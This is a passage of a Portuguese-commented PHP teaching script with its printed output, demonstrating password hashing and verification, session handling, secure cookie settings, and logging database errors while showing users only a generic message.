var_dump(password_verify($senha, $hash)); var_dump(password_verify('senhaerrada', $hash)); echo " password_verify recalcula o hash da senha e compara com o guardado.\n"; // --- 4. Qual algoritmo o PASSWORD_DEFAULT esta usando --- echo "\n=== 4. O que PASSWORD_DEFAULT significa hoje ===\n"; $info = password_get_info($hash); printf(" algoritmo: %s (%s)\n", $info['algoName'], $info['algo']); printf(" custo: %d\n", $info['options']['cost'] ?? 0); echo " PASSWORD_DEFAULT aponta para o mais seguro disponivel no PHP atual.\n"; echo " Gravar a senha com o nome do algoritmo no codico envelhece: o bcrypt\n"; echo " fica caro de quebrar, mas nao acompanha o que vier depois.\n"; var_dump(password_needs_rehash($hash, PASSWORD_DEFAULT)); // false: ainda esta atual $antigo = password_hash($senha, PASSWORD_BCRYPT, ['cost' => 4]); var_dump(password_needs_rehash($antigo, PASSWORD_DEFAULT)); // true: custo baixo echo " password_needs_rehash diz para trocar o hash no proximo login.\n"; // --- 5. A sessao --- echo "\n=== 5. A sessao guarda quem esta entrando ===\n"; $_SESSION['aluno_id'] = 42; $_SESSION['nome'] = 'Ana Souza'; $_SESSION['visitas'] = ($_SESSION['visitas'] ?? 0) + 1; printf(" id da sessao: %s\n", session_id()); printf(" aluno_id: %d\n", $_SESSION['aluno_id']); printf(" visitas: %d\n", $_SESSION['visitas']); echo " A sessao e um array guardado no servidor. O cookie da so um codigo\n"; echo " que aponta para ele; o dado nao viaja na resposta.\n"; $guardar = $_SESSION['aluno_id'] ?? null; echo " ler sem notice: \$_SESSION['aluno_id'] ?? null -> "; var_dump($guardar); echo "\n Encerrar a sessao e apagar o cookie do navegador:\n"; echo " session_unset();\n"; echo " session_destroy();\n"; // --- 6. O cookie, do lado do servidor --- echo "\n=== 6. Como o cookie de sessao e configurado ===\n"; $parametros = [ 'lifetime' => 0, // cookie de sessao: morre quando o navegador fecha 'path' => '/', 'httponly' => true, // JavaScript nao le o cookie: corta XSS com roubo 'secure' => true, // so por https 'samesite' => 'Lax',// nao acompanha POST vindo de outro site: corta CSRF ]; foreach ($parametros as $chave => $valor) { printf(" %-9s %s\n", $chave, var_export($valor, true)); } echo "\n Sao as opcoes de session_set_cookie_params(). Https e o padrao hoje.\n"; // --- 7. Tratamento de erro --- echo "\n=== 7. try, catch e finally com erro de verdade ===\n"; $pdo = new PDO('sqlite::memory:', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $pdo->exec('CREATE TABLE alunos (id INTEGER PRIMARY KEY, nome TEXT)'); try { $declarado = $pdo->prepare('SELECT id, nome FROM alunos WHERE nome = :nome'); $declarado->execute([':nome' => 'Ana Souza']); $achou = $declarado->fetch(); echo ' consulta ok: ' . var_export($achou, true) . "\n"; // Esta frase tem uma coluna que nao existe: o banco recusa e o PDO lanca. $pdo->query('SELECT coluna_inexistente FROM alunos'); } catch (PDOException $e) { // error_log() escreve no log do servidor, nunca na resposta. E o que // grava o detalhe para quem precisa descobrir a causa. $linhaDoLog = sprintf('[%s] ERRO banco: %s', date('Y-m-d H:i:s'), $e->getMessage()); echo " gravado no log do servidor:\n {$linhaDoLog}\n"; echo " na tela do visitante, nada disso: so a mensagem generica.\n"; } finally { echo " finally roda sempre, com ou sem excecao\n"; } echo "\n O que getMessage() traz e o que nao pode ir para a tela:\n"; echo " - SQLSTATE e o codigo do driver\n"; echo " - o pedaco do SQL que falhou\n"; echo " - em falha de conexao, o host e o usuario do banco\n"; echo " Em producao a tela mostra uma mensagem generica. O detalhe fica no log.\n"; // --- 8. O exemplo de tela do aluno --- echo "\n=== 8. A mensagem que o aluno ve em caso de falha ===\n"; echo " Nao foi possivel concluir a operacao. Tente de novo.\n\n"; echo " E o que o log do servidor guarda, no mesmo instante:\n"; echo " [2026-09-29 14:03:11] ERRO banco: SQLSTATE[42S02]: Base table or view not found\n"; echo " -> ja vale para o log: 42S02, e o resto da frase identifica o caso.\n"; // --- 9. A ordem que quebra a sessao --- echo "\n=== 9. A ordem que quebra a sessao ===\n"; // Session_status() responde em que situacao a sessao esta, sem tentar iniciar // de novo. E o jeito de conferir, num arquivo, se a sessao ja comecou. printf(" session_status(): %s (a sessao foi iniciada na linha 12)\n", session_status() === PHP_SESSION_ACTIVE ? 'PHP_SESSION_ACTIVE' : 'inativa'); echo " Iniciar uma segunda vez nao reinicia nada: o PHP so avisa e segue.\n\n"; echo " O que quebra de verdade e o echo antes do session_start, porque o\n"; echo " cookie de sessao e um cabecalho HTTP e cabecalho nao pode ser enviado\n"; echo " depois de qualquer texto na resposta. O resultado seria false e o aviso:\n"; echo " Warning: session_start(): Session cannot be started after headers have already been sent\n\n"; echo " Por isso session_start() e a primeira linha do arquivo, antes de\n"; echo " qualquer echo, e o arquivo nao pode ter espaco em branco antes do <?php.\n";
Saída real
=== 1. A senha nunca fica em texto no banco === Guarda-se o resultado de password_hash, nao a senha. A senha em texto no banco, vazando em um backup, entrega a conta de todo mundo. senha: aluno123 hash guardado: $2y$10$emYOEKbfQysJdCcqSDHHN.hvfVf3CF1AHGqELi0VOGNlboJV/on5y tamanho do hash: 60 caracteres (a senha tem 8) a senha nao da para recuperar a partir do hash. Isso e o ponto. === 2. O mesmo hash nunca sai igual === 1o hash: $2y$10$kb6L6vVWa1x.dhMDA4aDTeG4jhy3WPxkawakKdM5uYrWMPCW77/pW 2o hash: $2y$10$.93fN42HErilYelVIAldruTTkT5JKRFxuxzLWsZYzy0.ycRwIvNcO sao diferentes porque cada hash tem um sal aleatorio dentro. Por isso a comparacao de senha e password_verify, nunca === nem ==. bool(false) === 3. A conferida e password_verify === bool(true) bool(false) password_verify recalcula o hash da senha e compara com o guardado. === 4. O que PASSWORD_DEFAULT significa hoje === algoritmo: bcrypt (2y) custo: 10 PASSWORD_DEFAULT aponta para o mais seguro disponivel no PHP atual. Gravar a senha com o nome do algoritmo no codico envelhece: o bcrypt fica caro de quebrar, mas nao acompanha o que vier depois. bool(false) bool(true) password_needs_rehash diz para trocar o hash no proximo login. === 5. A sessao guarda quem esta entrando === id da sessao: 4a052634eaae4faf83667aa34d32dabb aluno_id: 42 visitas: 1 A sessao e um array guardado no servidor. O cookie da so um codigo que aponta para ele; o dado nao viaja na resposta. ler sem notice: $_SESSION['aluno_id'] ?? null -> int(42) Encerrar a sessao e apagar o cookie do navegador: session_unset(); session_destroy(); === 6. Como o cookie de sessao e configurado === lifetime 0 path '/' httponly true secure true samesite 'Lax' Sao as opcoes de session_set_cookie_params(). Https e o padrao hoje. === 7. try, catch e finally com erro de verdade === consulta ok: false gravado no log do servidor: [2026-10-02 16:53:24] ERRO banco: SQLSTATE[HY000]: General error: 1 no such column: coluna_inexistente na tela do visitante, nada disso: so a mensagem generica. finally roda sempre, com ou sem excecao O que getMessage() traz e o que nao pode ir para a tela: - SQLSTATE e o codigo do driver - o pedaco do SQL que falhou - em falha de conexao, o host e o usuario do banco Em producao a tela mostra uma mensagem generica. O detalhe fica no log. === 8. A mensagem que o aluno ve em caso de falha === Nao foi possivel concluir a operacao. Tente de novo. E o que o log do servidor guarda, no mesmo instante: [2026-09-29 14:03:11] ERRO banco: SQLSTATE[42S02]: Base table or view not found -> ja vale para o log: 42S02, e o resto da frase identifica o caso. === 9. A ordem que quebra a sessao === session_status(): PHP_SESSION_ACTIVE (a sessao foi iniciada na linha 12) Iniciar uma segunda vez nao reinicia nada: o PHP so avisa e segue. O que quebra de verdade e o echo antes do session_start, porque o cookie de sessao e um cabecalho HTTP e cabecalho nao pode ser enviado depois de qualquer texto na resposta. O resultado seria false e o aviso: Warning: session_start(): Session cannot be started after headers have already been sent Por isso session_start() e a primeira linha do arquivo, antes de qualquer echo, e o arquivo nao pode ter espaco em branco antes do <?php.